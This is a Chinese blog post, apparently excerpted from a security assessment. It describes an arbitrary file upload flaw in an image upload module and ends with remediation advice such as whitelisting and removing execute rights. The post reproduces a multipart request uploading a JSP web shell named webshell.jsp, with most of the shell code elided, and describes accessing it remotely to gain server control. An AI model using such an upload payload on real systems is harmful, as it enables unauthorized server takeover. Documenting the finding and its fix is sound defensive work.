• 任意文件上传漏洞


    上传漏洞允许攻击者通过上传木马文件,直接获取web服务器的权限。图片上传模块存在任意文件上传漏洞,通过修改图片上传传输页面的数据包可以上传木马文件,并最终获取到服务器的权限,如下图所示。

     

     木马程序如下:

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="file"; filename="webshell.jsp"

    Content-Type: text/html

    <%@page pageEncoding="utf-8"%>

    <%@page import="java.io.*"%>

    <%@page import="java.util.*"%>

    <%@page import="java.util.regex.*"%>

    。。。。。。。。。此处代码省略。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

        bout.close();

        out.flush();

        ((Invoker) ins.get("bottom"))

        .invoke(request, response, session);

        ((Invoker) ins.get("after")).invoke(request, response, session);

        }

    %>

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="uploadPath"

    people

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="uploadFloderPath"

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="isRename"

    no

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="maxSize"

    2

    ------WebKitFormBoundaryS5DF515w3dmuH4em

    Content-Disposition: form-data; name="allowedFile"

    ------WebKitFormBoundaryS5DF515w3dmuH4em--

    最后,找到文件上传的路径,此次文件上传成功后,响应数据包会返回文件上传的物理路径如下图,最后再远程访问该木马文件。

     

     

    任意文件上传漏洞整改建议:

    1、建议对上传文件做有效文件类型判断,网站前台后台均需进行判断,采用白名单控制的方法,开放只允许上传的文件类型,其中文件类型判断应对上传文件的后缀、文件头、图片类型的预览图等做检测来判断文件类型,同时注意重命名上传文件的文件名避免攻击者利用web服务器的缺陷构造畸形文件名实现攻击目的。

    2、服务器端读取文件的部分内容作判断,可防止攻击者伪装文件类型上传。

    3、权限方面,统一上传模块写入文件的位置并取消上传目录的程序运行权限。

    4、使用第三方web防火墙来加固整个网站系统。

  • 相关阅读:
    《Python+Kivy(App开发)从入门到实践》自学笔记:打包——Windwos打包
    【NodeJs-5天学习】第一天篇① —— 第一次认识NodeJs
    【ASE入门学习】ASE入门系列十六——色相与自动变色荧光棒
    基于神经网络的图像识别,人工神经网络图像识别
    AI 正在攻克难题——赋予计算机嗅觉
    MySQL增删查改(进阶)
    今天谈谈小众化游戏代理能不能做?
    leetcode初级算法题--只出现一次的数字
    创建+注册 子应用_定义路由
    面试算法题(shell/日志数据查询统计)
  • 原文地址:https://blog.csdn.net/gaomei2009/article/details/126502219